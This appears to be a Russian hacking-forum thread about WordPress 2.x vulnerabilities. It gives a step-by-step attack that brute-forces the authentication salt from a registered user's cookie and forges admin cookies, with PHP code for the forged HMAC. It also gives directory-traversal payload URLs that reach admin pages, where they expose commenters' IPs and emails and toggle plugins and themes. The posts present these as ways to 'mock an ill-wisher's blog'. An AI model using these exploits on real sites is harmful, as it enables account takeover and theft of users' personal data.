Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию "wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC COOKIEHASH md5 хеш от имени сайта USERNAME Имя пользователя EXPIRY_TIME Срок жизни cookies до того как они станут невалидными HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress PHP: function wp_validate_auth_cookie($cookie = '') { ........................ list($username, $expiration, $hmac) = explode('|', $cookie); $expired = $expiration; ........................ if ( $expired < time() ) return false; ........................ $key = wp_hash($username . $expiration); $hash = hash_hmac('md5', $username . $expiration, $key); ........................ if ( $hmac != $hash ) return false; } function wp_hash($data) { $salt = wp_salt(); if ( function_exists('hash_hmac') ) { return hash_hmac('md5', $data, $salt); } else { return md5($data . $salt); } } Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом PHP: function wp_salt() { ........................ if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } ........................ } function wp_generate_password() { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $length = 7; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, 61), 1); return $password; } Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy. PHP: $hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt); $hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey); Спасибо +toxa+ и W[4H]LF за потраченное на меня время
и еще для размышления (будет в хакфаке в хакере в июне) XXX ВОПРОС XXX Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress? XXX ОТВЕТ XXX Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например: -редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink); -активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins); -активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes); -просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit). И многое другое Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом. З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
->Дык это основано на том что фильтрует ./ и не фильтрует .\ не путай, это две разные баги ЗЫ по ходу ВП тут мало кто разбирается =\
пруфлинк: http://www.securityfocus.com/bid/28845 WordPress 'cat' Parameter Directory Traversal Vulnerability (Vulnerabilities) еще раз повторяю: это 2 РАЗНЫЕ баги на секуритифокусе последняя не совсем разработана, я ее чуть больше поковырял